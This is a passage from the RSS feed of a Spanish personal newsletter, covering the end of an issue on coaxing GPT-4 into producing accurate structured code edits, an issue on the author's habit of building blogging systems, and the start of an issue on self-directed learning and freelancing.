sustituir y por qué líneas hacerlo.</p><p class="paragraph" style="text-align:left;">Esta es la definición de la función:</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/abdeddf0-a1b2-4ea0-a6b5-900218813da3/Screenshot_2023-06-25_at_16.20.21.png"/><div class="image__source"><span class="image__source_text"><p>Haz zoom, que hay cosas</p></span></div></div><p class="paragraph" style="text-align:left;">Pues manos a la obra. Le empiezo a pedir cosas y…</p><p class="paragraph" style="text-align:left;">Nada de nada. No hay manera. Se inventa las líneas igual que con los <i>diffs</i>. Se niega a incluir la indentación en las respuestas. <b>Incluso se niega a seguir la especificación que le he pasado</b>, ignorando la parte de la <i>lista de nuevas líneas</i> y devolviendo siempre una sola cadena de texto.</p><p class="paragraph" style="text-align:left;">Vamos a probarlo de otra forma. Estructuradamente. Con <i>paths</i> en lugar de números de líneas. Probemos con esta definición:</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/b22860aa-dbda-4584-a4cd-3d3a54edb635/Screenshot_2023-06-27_at_22.47.06.png"/><div class="image__source"><span class="image__source_text"><p>Ponte las gafas de cerca anda</p></span></div></div><p class="paragraph" style="text-align:left;">Y….. ¡sigue sin saber contar! Qué suplicio. Al menos ahora devuelve cosas razonables. Pidiéndole esto:</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/5f9c033c-c820-4ffb-a489-48cce8c5866e/Screenshot_2023-06-27_at_22.14.24.png"/></div><p class="paragraph" style="text-align:left;">Nos sugiere este cambio:</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/cf6486c7-ca19-4244-b03b-fde2553fe1f8/Screenshot_2023-06-27_at_22.36.18.png"/></div><p class="paragraph" style="text-align:left;">Que vale, está bien. Pero es que el bloque de Testimonials que debía reemplazar <b>es el anterior</b>. <i>Off-by-one</i> como de costumbre. Y así sistemáticamente. Se me ocurre probar pidiéndolo muy mucho:</p><div class="codeblock"><pre><code>Be sure to count properly any array accesses. Remember, arrays are zero-indexed. This is of utmost importance. Triple check it, pretty please. Otherwise a kitten dies.</code></pre></div><p class="paragraph" style="text-align:left;">Pero nada. Así que viendo que es completamente imposible hacer contar a GPT-4 desisto y elimino cualquier rastro de <i>arrays</i>. Todo objetos.</p><p class="paragraph" style="text-align:left;">Y ahora sí. Lloro.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/8403cc15-120e-4f92-b61c-f91b9bfd9fac/Screenshot_2023-06-27_at_23.30.58.png"/></div><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/2586a583-c9bf-49b1-98cf-5bf1720cc47c/Screenshot_2023-06-27_at_23.31.55.png"/><div class="image__source"><span class="image__source_text"><p>Ese diff hace valer la pena las cien mil horas que me ha costado hacerlo funcionar</p></span></div></div><p class="paragraph" style="text-align:left;">Lo único malo, que el vídeo está baneado por copyright así que no era divertido. ¡Casi!</p><h1 class="heading" style="text-align:left;">👋 Y hasta aquí </h1><p class="paragraph" style="text-align:left;">Ya paro. Que sí. Que no es #BuildInPublic, ya lo se, que soy yo a las tantas de la noche aquí comiendo chocolate ecuatoriano y gastándome dinero en la API de OpenAI por puro vicio.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/d0e21f65-75e9-4cc1-b63a-b378f216ca7d/Screenshot_2023-06-27_at_23.37.01.png"/></div><p class="paragraph" style="text-align:left;">Y es que no es #BuildInPublic ni queriendo porque existen herramientas como <a class="link" href="https://www.framer.com?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=38-el-mochuelo-de-minerva" target="_blank" rel="noopener noreferrer nofollow">Framer</a> que hacen todo esto cien mil veces mejor, con un pedazo de editor no-code nivel Webflow y con un millón de features que yo no podría implementar en la vida.</p><p class="paragraph" style="text-align:left;">Así que se queda en experimento casero que ya veremos cómo despiezo y uso algún día para algo.</p><p class="paragraph" style="text-align:left;">Pero bueno, si al menos os ha servido para ver cosas interesantes de esto de la IA, bien está.</p><p class="paragraph" style="text-align:left;">Esta semana no hay sección de <b>herramientas</b> porque la verdad es que no me he encontrado con nada decente y todavía no tengo organizado mi backlog de <i>herramientas interesantes</i> como para sacar cosas útiles del baúl. Así que quedaros con el tip de Framer en su lugar. Echadle un ojo.</p><p class="paragraph" style="text-align:left;">Y con esto me despido hasta la semana que viene.</p><p class="paragraph" style="text-align:left;">A disfrutar de lo votado.</p><p class="paragraph" style="text-align:left;">Nos leemos pronto.</p></div><div class='beehiiv__footer'><br class='beehiiv__footer__break'><hr class='beehiiv__footer__line'><a target="_blank" class="beehiiv__footer_link" style="text-align: center;" href="https://www.beehiiv.com/?utm_campaign=04559ca9-c2e6-414b-972d-7bcaca292583&utm_medium=post_rss&utm_source=vivir_del_cuento_y_no_morir_en_el_intento">Powered by beehiiv</a></div></div>
  ]]></content:encoded>
</item>

      <item>
  <title>#37 - Too much for the pumpkin</title>
  <description>Ser un hombrecillo enfadado, colarte detrás de la barra y la crema solar SPF50</description>
  <link>https://cuento.beehiiv.com/p/37-too-much-for-the-pumpkin</link>
  <guid isPermaLink="true">https://cuento.beehiiv.com/p/37-too-much-for-the-pumpkin</guid>
  <pubDate>Wed, 21 Jun 2023 09:00:00 +0000</pubDate>
  <atom:published>2023-06-21T09:00:00Z</atom:published>
    <dc:creator>Adrià López</dc:creator>
  <content:encoded><![CDATA[
    <div class='beehiiv'><style>
  .bh__table, .bh__table_header, .bh__table_cell { border: 1px solid #C0C0C0; }
  .bh__table_cell { padding: 5px; background-color: #FFFFFF; }
  .bh__table_cell p { color: #2D2D2D; font-family: 'Helvetica',Arial,sans-serif !important; overflow-wrap: break-word; }
  .bh__table_header { padding: 5px; background-color:#F1F1F1; }
  .bh__table_header p { color: #2A2A2A; font-family:'Trebuchet MS','Lucida Grande',Tahoma,sans-serif !important; overflow-wrap: break-word; }
</style><div class='beehiiv__body'><p class="paragraph" style="text-align:left;">👋 Buenos miércoles y bienvenidos a la newsletter de esta semana. En esta toca mucho ruido y pocas nueces, ya que han sido unos días intensos y con poco espacio mental para la creatividad.</p><p class="paragraph" style="text-align:left;">Aún así espero que el relato os entretenga.</p><p class="paragraph" style="text-align:left;">Dentro vídeo, que dicen.</p><h1 class="heading" style="text-align:left;">🔪 Verdades que duelen</h1><p class="paragraph" style="text-align:left;">El otro día me dijeron que <i>antes molaba</i>. No exactamente, porque yo no he molado nunca. Pero sí me dijeron que mis newsletters anteriores eran mejores. Curiosamente no las últimas de la primera temporada, mis preferidas, donde se me iba la pinza sistemáticamente y hablaba de temas inconexos como McMuffins y presos vascos.</p><p class="paragraph" style="text-align:left;">Eran las primeras de todo, las que eran más serias, que explicaban cosas útiles, o mejor dicho, que enmascaraban con mayor éxito este fuego interno de caos y lenguaje soez.</p><p class="paragraph" style="text-align:left;">Porque esta es mi respuesta a la crítica. Si las serias eran mejores era porque eran las más falsas.</p><p class="paragraph" style="text-align:left;">Y es que mi forma de escribir natural es esta. La de las chorradas y el despropósito. Disfruto escribiendo sobre mierdas personales que no interesan a nadie. Y es desde siempre, literalmente desde hace más de 15 años. Si no me crees, te dejo unos <i>highlights</i> de <a class="link" href="https://web.archive.org/web/20070112164419/http://www.adverecundiam.com/2006/12/29/opinion/no-se-si-reir-o-llorar/?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=37-too-much-for-the-pumpkin" target="_blank" rel="noopener noreferrer nofollow">un post que escribí en 2006</a> cuando me compré un teléfono con la entonces <i>cuarta operadora </i>Yoigo. Es largo y violento:</p><div class="blockquote"><blockquote class="blockquote__quote"></blockquote></div><p class="paragraph" style="text-align:left;">Cuanta mala hostia, tú. Y cuanta ansia de teléfono. Y pedazo Wordpress 2.0.3 de junio de 2006. Y cuanta razón también, por cierto, porque resultó que el tío de SEUR a mediodía se había largado a su casa con la furgoneta del curro llena de paquetes, marcados todos como entregados, e ido de vacaciones. En serio.</p><p class="paragraph" style="text-align:left;">Pero el caso es que yo siempre he sido más de exabrupto y chascarrillo que de explicación. Y lo sabía entonces también, cuando traté de corregirme abriendo otro blog:</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/023f8e47-b480-419d-a406-53d9ddec501f/Screenshot_2023-06-19_at_09.36.54.png"/><div class="image__source"><span class="image__source_text"><p>No fue distinto. El “en principio” me salva.</p></span></div></div><p class="paragraph" style="text-align:left;">En fin, que me veo en la situación de hacer un enésimo intento de corrección, contentar y daros en esta newsletter algo de utilidad.</p><p class="paragraph" style="text-align:left;">Y no lo he conseguido.</p><p class="paragraph" style="text-align:left;">Así que vamos a aprovechar la introducción y hablar de algo lo más <i>random</i> posible: abrir blogs. Así en general.</p><p class="paragraph" style="text-align:left;">Pero antes me voy a quitar del medio lo del #BuildInPublic, que ya da vergüenza</p><h1 class="heading" style="text-align:left;">👎 #BuildInPublic - Ni en Public ni en Privado</h1><p class="paragraph" style="text-align:left;">Qué forma de complicarse la vida que tiene uno. Sigo pegándole bien duro al proyecto de MVP que tengo a medias y que se me ha alargado ya varios meses pasados el timing previsto. Y al mismo tiempo sigo metiéndole horas a <a class="link" href="https://ydevs.com?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=37-too-much-for-the-pumpkin" target="_blank" rel="noopener noreferrer nofollow">ydevs</a>, que tienen backlog para rato. Por supuesto también he decidido meterme a hacer trabajo con el cliente nuevo que os comenté la semana pasada y me encuento en pleno onboarding. ¡Ah! Y para el miércoles tengo que entregar un bloque de funcionalidad (que obviamente no he empezado) para uno de mis clientes long-term. En este contexto claramente lo razonable es que el martes a las 10:00 tengo reunión con <i>otro</i> cliente, este para empezar a hacer trabajos de no-code como freelancer. Y en el NoCodeFest me recordaron varias mejoras que tenemos pendientes en <a class="link" href="http://courses.so?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=37-too-much-for-the-pumpkin" target="_blank" rel="noopener noreferrer nofollow">courses.so</a>, así que habrá que verlo. ¿Me dejo algo? Creo que no. Ah si, esta newsletter. Y que creo que me quiero hacer <i>youtuber</i>, también. Otra vez.</p><p class="paragraph" style="text-align:left;">Espero que leer el kilométrico párrafo anterior te haya estresado un poco, aún que sea por solidaridad.</p><p class="paragraph" style="text-align:left;">Pues eso, #BuildInPublic #yatal.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/fc83a840-011e-402e-badd-8265f6051a01/this-is.gif"/><div class="image__source"><span class="image__source_text"><p>Mi vida profesional</p></span></div></div><h1 class="heading" style="text-align:left;">⏲️ Abrir blogs como deporte</h1><p class="paragraph" style="text-align:left;">Volvemos al tema central que he introducido antes.</p><p class="paragraph" style="text-align:left;">Ahora las newsletters son lo moderno. Pero a mi todo esto de la informática me pegó fuerte a nivel <i>semipró</i> durante la eclosión de la <i>blogosfera</i> patria (término viejuno donde los haya). Así que mi movida ha sido siempre escribir en blogs.</p><p class="paragraph" style="text-align:left;">Sin embargo el <i>plot twist</i> es que me gusta casi más escribir blogs que escribir <i>en</i> blogs. Vamos, programarlos. Si hago cuentas creo que he abierto más blogs que posts he escrito. Bueno, no, a ver, eso es imposible, porque cada blog tiene su <i>first post</i> que hay que subir para probar. Así que no. Pero casi.</p><p class="paragraph" style="text-align:left;">El mundo de la programación clásica tiene el <i>hello world</i>. Los frameworks front-end tienen el <i>to-do list</i>. Los estados policiales tienen el <i>censurar la prensa y fusilar a la disidencia</i>. Yo tengo el <i>crear un sistema de blogging</i> como mi proyecto por defecto para pasar el rato.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/de4bb185-b2a7-4eac-a51a-a8ecee113edc/Screenshot_2023-06-20_at_09.19.35.png"/><div class="image__source"><span class="image__source_text"><p>El espíritu</p></span></div></div><p class="paragraph" style="text-align:left;">Algunos incluso continúan polucionando internet con su código por ahí, como un registro indeleble de lo que me gustaba en cada momento. <a class="link" href="https://github.com/adlpz/poorcode-old?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=37-too-much-for-the-pumpkin" target="_blank" rel="noopener noreferrer nofollow">El blog en PHP funcional de 2016</a>. El de investigar <a class="link" href="https://github.com/adlpz/rtfcc?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=37-too-much-for-the-pumpkin" target="_blank" rel="noopener noreferrer nofollow">Javascript abusando del prototype-based inheritance</a>. <a class="link" href="https://github.com/adlpz/zzzen?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=37-too-much-for-the-pumpkin" target="_blank" rel="noopener noreferrer nofollow">Uno con MongoDB como backend</a>. <a class="link" href="https://github.com/adlpz/plog?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=37-too-much-for-the-pumpkin" target="_blank" rel="noopener noreferrer nofollow">Este de 2012 escrito en Python para desplegar en Google App Engine</a>. Incluso hay uno hecho íntegramente en Bash que no encuentro por ningún lado.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/76fe515a-49cb-43e8-b1de-abd485a3928a/687474703a2f2f692e696d6775722e636f6d2f396776496f2e706e67.png"/><div class="image__source"><span class="image__source_text"><p>Da gusto de verlo eh.</p></span></div></div><p class="paragraph" style="text-align:left;">Del primero de la lista de hecho me siento medianamente orgulloso porque me acuerdo de que <a class="link" href="https://github.com/adlpz/poorcode-old/blob/master/Templating/Minidown.php?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=37-too-much-for-the-pumpkin" target="_blank" rel="noopener noreferrer nofollow">implementé un parser de Markdown en 17 líneas de PHP</a> sin ni siquiera mirar la documentación. A pelo. Lo que hace la juventud.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/76ab92af-b996-4404-8d05-bd0c0a1cec1d/Screenshot_2023-06-20_at_09.37.25.png"/><div class="image__source"><span class="image__source_text"><p>El típico parser que implementas un miércoles a las 2:17 de la madrugada</p></span></div></div><p class="paragraph" style="text-align:left;">Veo también escribí <a class="link" href="https://github.com/adlpz/poorcode-old/blob/master/Templating/Renderer.php?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=37-too-much-for-the-pumpkin" target="_blank" rel="noopener noreferrer nofollow">un sistema de templating</a>. Menudo colgao.</p><p class="paragraph" style="text-align:left;">El caso es que esta patología mental que sufro es algo habitual, aún que no lo parezca. Tal vez no específicamente en el hecho de crear sistemas de <i>microblogging</i> a nivel competitivo pero sí en meterse a programar o automatizar cosas cuando el objetivo real es <i>hacer las cosas</i>.</p><p class="paragraph" style="text-align:left;">Misma situación que cuando escribes un script para algo que harás dos veces en toda tu vida, o te niegas a escribir a mano diez líneas en excel, creando en su lugar una función inmantenible de tres páginas.</p><p class="paragraph" style="text-align:left;">Y con esta conclusión intento salvar los muebles de la falta de contenido en la reflexión de hoy diciéndote que no te dejes llevar por la parte divertida, que para los que somos técnicos es la automatización, para los analíticos la planificación y para los creativos ni puta idea pero algo similar habrá. </p><p class="paragraph" style="text-align:left;">En su lugar <i>haz la cosa que tienes que hacer</i>.</p><p class="paragraph" style="text-align:left;">¡Boom! Moraleja <i>to the face</i>.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/64a51934-6f16-49e1-8e07-7e0e7246b69f/is_it_worth_the_time.png"/><div class="image__source"><span class="image__source_text"><p>Y a una mala te miras el gráfico este de XCKD para ver si te vale la pena el script</p></span></div></div><h1 class="heading" style="text-align:left;">🏭 Herramientas</h1><p class="paragraph" style="text-align:left;">Como decía al principio ha sido una semana intensa y el <i>fin-de-ésta</i> me lo he pasado hinchándome a no-code en el NoCodeFest de esos amigos <i>nocoderos</i> del curso de dos mil pavos que comentaba la semana pasada.</p><p class="paragraph" style="text-align:left;">Hinchándome a no-code y también a sí-cerveza.</p><p class="paragraph" style="text-align:left;">Lo primero de todo <span style="text-decoration:line-through;">cómo están los máquinas</span> decir que me lo lo he pasado súper bien y aprendido mucho así que <a class="link" href="https://www.nocodefest.es?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=37-too-much-for-the-pumpkin" target="_blank" rel="noopener noreferrer nofollow">recomiendo a todos que os paséis por allí el año que viene</a>.</p><p class="paragraph" style="text-align:left;">Y lo segundo es que, pese a mi desvergonzado acceso al <i>backstage</i>, incluyendo a la nevera de la cerveza, he logrado mantener la serenidad lo suficiente como para conocer a gente interesante, escuchar charlas útiles y quedarme con algunas herramientas 🔝 que ahora os comparto aquí.</p><p class="paragraph" style="text-align:left;">Empezamos con la IA. El highlight a compartir es que Andrew Ng, uno de los fundadores de Google Brain, co-founder en Coursera y autor de incontables avances en IA, tiene ahora su propia plataforma de formación sobre el tema <a class="link" href="https://learn.deeplearning.ai?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=37-too-much-for-the-pumpkin" target="_blank" rel="noopener noreferrer nofollow">y en concreto cuatro cursos gratis</a> sobre Langchain, ChatGPT para desarrolladores, Diffusion Models y ChatGPT API. Si te interesa el tema no encontrarás fuente mejor.</p><p class="paragraph" style="text-align:left;">Y hablando de Langchain he visto mencionar dos UIs para gestionarlo sin tener que darle duro al Python: <a class="link" href="https://flowiseai.com?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=37-too-much-for-the-pumpkin" target="_blank" rel="noopener noreferrer nofollow">FlowiseAI</a>, comercial, y <a class="link" href="https://github.com/logspace-ai/langflow?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=37-too-much-for-the-pumpkin" target="_blank" rel="noopener noreferrer nofollow">Langflow</a>, open source.</p><p class="paragraph" style="text-align:left;">Saliéndonos de la IA pero usándola internamente uno de los ponentes recomendaba el <a class="link" href="https://podcast.adobe.com/enhance?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=37-too-much-for-the-pumpkin" target="_blank" rel="noopener noreferrer nofollow"><i>audio enhancer</i></a><a class="link" href="https://podcast.adobe.com/enhance?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=37-too-much-for-the-pumpkin" target="_blank" rel="noopener noreferrer nofollow"> de Adobe Podcast</a> para grabar audio con tu móvil y automágicamente convertirlo en audio de estudio profesional. Maravilloso para rebajar la barrera de entrada para hacerte <i>youtuber</i> o <i>podcaster</i>.</p><p class="paragraph" style="text-align:left;">Y finalmente, yéndonos ya de lleno a la Inteligencia Natural, otro ponente recomendaba <a class="link" href="http://brain.fm?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=37-too-much-for-the-pumpkin" target="_blank" rel="noopener noreferrer nofollow">brain.fm</a> para sus sesiones de trabajo. Música con <i>mumbo-jumbo</i> de frecuencias e historias que se supone te ayudan a concentrarte. ¿Placebo? Probablemente. ¿Funciona? Probablemente. Yo me tiré ayer cuatro horas y fueron productivas. Pero también me metí dos redbulls. Así que no prometo nada.</p><h1 class="heading" style="text-align:left;">👋 Adéu-siau</h1><p class="paragraph" style="text-align:left;">Hasta aquí otro miércoles, espero que lo hayáis disfrutado y que lo que os he contado os haya enriquecido. De espíritu y si es de bolsillo también, mejor.</p><p class="paragraph" style="text-align:left;">Y recordad: no bebáis cerveza de noche y andad por la sombra, que ya pica el sol.</p><p class="paragraph" style="text-align:left;"><i>“Assum est, inqüit, versa et manduca”.</i></p><p class="paragraph" style="text-align:left;">Nos leemos pronto.</p></div><div class='beehiiv__footer'><br class='beehiiv__footer__break'><hr class='beehiiv__footer__line'><a target="_blank" class="beehiiv__footer_link" style="text-align: center;" href="https://www.beehiiv.com/?utm_campaign=d2fd6d28-f313-423f-8d51-e98e862598fe&utm_medium=post_rss&utm_source=vivir_del_cuento_y_no_morir_en_el_intento">Powered by beehiiv</a></div></div>
  ]]></content:encoded>
</item>

      <item>
  <title>#36 - Apréndeme la Mórtal</title>
  <description>Perder dinero, aprender cosas y no escribir CSS</description>
  <link>https://cuento.beehiiv.com/p/36-aprendeme-la-mortal</link>
  <guid isPermaLink="true">https://cuento.beehiiv.com/p/36-aprendeme-la-mortal</guid>
  <pubDate>Wed, 14 Jun 2023 09:00:00 +0000</pubDate>
  <atom:published>2023-06-14T09:00:00Z</atom:published>
    <dc:creator>Adrià López</dc:creator>
  <content:encoded><![CDATA[
    <div class='beehiiv'><style>
  .bh__table, .bh__table_header, .bh__table_cell { border: 1px solid #C0C0C0; }
  .bh__table_cell { padding: 5px; background-color: #FFFFFF; }
  .bh__table_cell p { color: #2D2D2D; font-family: 'Helvetica',Arial,sans-serif !important; overflow-wrap: break-word; }
  .bh__table_header { padding: 5px; background-color:#F1F1F1; }
  .bh__table_header p { color: #2A2A2A; font-family:'Trebuchet MS','Lucida Grande',Tahoma,sans-serif !important; overflow-wrap: break-word; }
</style><div class='beehiiv__body'><p class="paragraph" style="text-align:left;">Buenos días y buena (espero) newsletter, que deseo que estés disfrutando en tu iPad Pro de dos mil pavos mientras tomas un whisky en un cómodo sillón. O, aún que sea, en tu Android de 7 años con la pantalla partida mientras sudas descomiendo en la taza del váter de una gasolinera de autopista.</p><p class="paragraph" style="text-align:left;">El caso es que disfrutes de la newsletter. Yo no juzgo.</p><p class="paragraph" style="text-align:left;">El lunes fue un día de 💩 para mí y me enfrento al papel (o pantalla) en blanco falto de inspiración, con un backlog que me hace sombra y, por suerte eso sí, con un café delante que espero haga las veces de musa del cancamusismo.</p><p class="paragraph" style="text-align:left;">Deseadme suerte. Vamos a ello.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/9d98a0a2-5200-4862-b94c-4fffe1694b52/tempImageHsaNFn.jpg"/><div class="image__source"><span class="image__source_text"><p>Meta-foto</p></span></div></div><h1 class="heading" style="text-align:left;">📚 Reflexión — Aprendiendo a aprender</h1><p class="paragraph" style="text-align:left;">A veces hablando con mi suegro me doy cuenta de lo distinta que es mi relación con el conocimiento respecto a la de él. Respecto a la de la gente que no ha crecido sumergida 24/7 en la información infinita que representa internet. Con mis padres no me pasa, y no porque piensen distinto, sino porque ya están acostumbrados a lo raro que soy.</p><p class="paragraph" style="text-align:left;">Para los que nos hemos criado pegados a la pantalla y con más negro sobre blanco (¡o verde sobre negro!) que con juegos de colores el concepto de “saber” o “aprender” es algo difuso, incluso asíncrono. <i>Puedo averiguarlo cuando quiera</i>. <i>Aprendo esto porque sí, sin necesidad</i>.</p><p class="paragraph" style="text-align:left;">Por ejemplo, a mi hijo se le quema el coche teledirigido heredado de 1997. Lo desmonto, le injerto unas <a class="link" href="https://en.wikipedia.org/wiki/List_of_battery_sizes?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=36-aprendeme-la-mortal#Lithium-ion_batteries_(rechargeable)" target="_blank" rel="noopener noreferrer nofollow">18650</a> de Aliexpress, una protección de inflavoltaje y a funcionar. Me ve mi suegro soldador en mano y me pregunta:</p><p class="paragraph" style="text-align:left;"><i>¿Quién te ha enseñado a hacer eso?</i></p><p class="paragraph" style="text-align:left;">Pues no sé.</p><p class="paragraph" style="text-align:left;">O estoy montando una pérgola y decido cambiar los tacos que vienen por químicos y varillas roscadas. Y añado unos vientos de acero. Me ve trasteando y me pregunta:</p><p class="paragraph" style="text-align:left;"><i>¿Quién te ha asesorado para hacerlo así?</i></p><p class="paragraph" style="text-align:left;">Pues no sé. Nadie. No he hablado con nadie de este tema. Fácil que salga volando y empale a un anciano.</p><p class="paragraph" style="text-align:left;">O estamos hablando de política y me viene a la cabeza un anécdota relevante ocurrida durante la rebelión de las Germanías en 1521.</p><p class="paragraph" style="text-align:left;"><i>¿En qué libro lo has leído? Me interesa, ¿me lo dejas?</i></p><p class="paragraph" style="text-align:left;">Pero es que no sé ni dónde lo he leído. No tengo libros de este tema. <i>Generatio aequivoca. </i>Lo leí en un paquete de azúcar probablemente.</p><p class="paragraph" style="text-align:left;">En realidad la respuesta sincera es siempre la misma. <i>Lo he aprendido leyendo mierdas aleatorias en internet, a mi bola, a base de Google y cortar y pegar información en mi cabeza</i>. A base de leerme la Wikipedia haciendo <i>doomscrolling</i> alguna tarde tonta. A base de ver videos de gente cortando hierros en un taller. A base de <i>shorts</i> de señores barbudos probando taladros medievales o excavando pozos con las uñas.</p><p class="paragraph" style="text-align:left;">Y a la gente normal, la que aprende de expertos, libros y cursos, como se ha hecho toda la vida, les explota la cabeza.</p><p class="paragraph" style="text-align:left;">Pero a mi me explota la cabeza lo contrario. Y sé que igual que la forma clásica de aprender tiene sus desventajas, ser como yo <b>es también un problema</b>. Veo un curso de dos mil y pico pavos que hacen mis amigos <i>nocoderos</i> y me entra ansiedad-risa sólo de pensar en tener que seguir el ritmo y temario que ha escogido otro. <b>Y pagando </b>🤯.</p><p class="paragraph" style="text-align:left;">Pero la realidad es que ser capaz de adaptarse a una estructura, ser capaz de seguir las instrucciones de un experto, saber aprovechar la información ya mascada por otro, acelera enormemente el proceso. Aprender a tu bola es, en mi opinión, <b>más eficaz</b>. Sin embargo, si valoras tu tiempo correctamente, verás que no es siempre la opción correcta. Aprender de la forma clásica es <b>más eficiente</b>.</p><p class="paragraph" style="text-align:left;">Así que el fondo de la reflexión de hoy es hacerte entender que si eres de los míos, de los de perder 6 horas un martes noche viendo gente troquelando metacrilato, piensa que a veces estás quemando horas que podrías sintetizar consumiendo formación estructurada. Y por el contrario, si eres de lo que necesita profesor y libro, entiende que hay cosas que sólo se aprenden <i>haciendo</i>, así que deja de buscar ese curso con el horario que te cuadra y empieza a investigar desde el sofá.</p><h1 class="heading" style="text-align:left;">💸 #BuildInPublic — Freelancing y poco más</h1><p class="paragraph" style="text-align:left;">Sigo con mi camino de transformación vital basada en abandonar toda esperanza y obligación empresarial.</p><p class="paragraph" style="text-align:left;">La experiencia de ayer, que por resumir consiste en el lamentable estado del sistema bancario español y su incapacidad de ser mínimamente europeo y razonable dejándonos con el proverbial culo al aire en una venta, me confirma que esto de montar <i>eseeles</i> y comprar oficinas definitivamente no es lo mío.</p><p class="paragraph" style="text-align:left;">Por suerte por el <i>flip-side</i>, el de hacer más freelancing, la cosa está mejor: ya tengo un cliente nuevo para hacer horas, desde <a class="link" href="https://ydevs.com?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=36-aprendeme-la-mortal" target="_blank" rel="noopener noreferrer nofollow">ydevs</a> hay trabajo de sobra (demasiado y todo) y empiezo a ver la luz al final del túnel con los desarrollos cerrados que tengo colgando por ahí.</p><p class="paragraph" style="text-align:left;">Sobre <a class="link" href="http://Courses.so?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=36-aprendeme-la-mortal" target="_blank" rel="noopener noreferrer nofollow">Courses.so</a>, la venta sigue con poco movimiento, 15 contactos de interesados, una conversación que no ha llegado a nada y abundante <i>ghosting</i>.</p><p class="paragraph" style="text-align:left;">Por suerte el proyecto no está parado y sigue teniendo tráfico orgánico. Nos metieron en <a class="link" href="https://betalist.com?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=36-aprendeme-la-mortal" target="_blank" rel="noopener noreferrer nofollow">betalist</a> y <a class="link" href="https://miketaylor.beehiiv.com/p/friday-finds-summer-book-lists-art-learning-bad-design?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=36-aprendeme-la-mortal" target="_blank" rel="noopener noreferrer nofollow">un señor nos ha mencionado en su newsletter</a>, lo que ha resultado en una docena de signups al plan gratis.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/3fd0965a-bf10-4d79-9a34-cf567de07ffa/jellylade__1_.jpeg"/><div class="image__source"><span class="image__source_text"><p>Nuestro amable bot informando de nuevos signups</p></span></div></div><p class="paragraph" style="text-align:left;">Menos da una piedra.</p><p class="paragraph" style="text-align:left;">Por lo demás, todo en pausa porque no me da la vida para más. Esta semana me caducan cuatro dominios, incluyendo <a class="link" href="http://text.makeup?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=36-aprendeme-la-mortal" target="_blank" rel="noopener noreferrer nofollow">text.makeup</a>, que nunca publiqué en ningún lado (excepto en esta newsletter), y <a class="link" href="http://cienmilpavos.com?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=36-aprendeme-la-mortal" target="_blank" rel="noopener noreferrer nofollow">cienmilpavos.com</a>, donde quería hacer un <i>chorriproyecto</i> para viralizar y lo único que ha hecho es acumular polvo virtual.</p><p class="paragraph" style="text-align:left;">No renuevo.</p><h1 class="heading" style="text-align:left;">🔫 Herramientas — Mucho Tailwind</h1><p class="paragraph" style="text-align:left;">Los que sabéis cómo trabajo ya estaréis enterados de que 